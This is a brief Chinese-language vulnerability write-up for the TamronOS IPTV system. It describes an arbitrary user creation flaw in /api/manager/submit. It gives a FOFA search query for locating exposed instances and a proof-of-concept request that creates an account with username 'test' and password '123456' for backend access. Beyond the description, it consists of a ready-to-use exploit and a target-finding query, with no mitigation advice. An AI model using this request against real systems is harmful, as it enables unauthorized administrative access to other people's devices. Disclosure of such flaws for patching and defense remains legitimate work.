漏洞描述

TamronOS IPTV系统 /api/manager/submit 存在任意用户创建漏洞,攻击者通过漏洞可以任意用户创建进入后台
 
 

漏洞影响

TamronOS IPTV系统
 
 

漏洞复现

FOFA

app="TamronOS-IPTV系统"


登录页面如下



漏洞POC

/api/manager/submit?group=1&username=test&password=123456




user: test
pass: 123456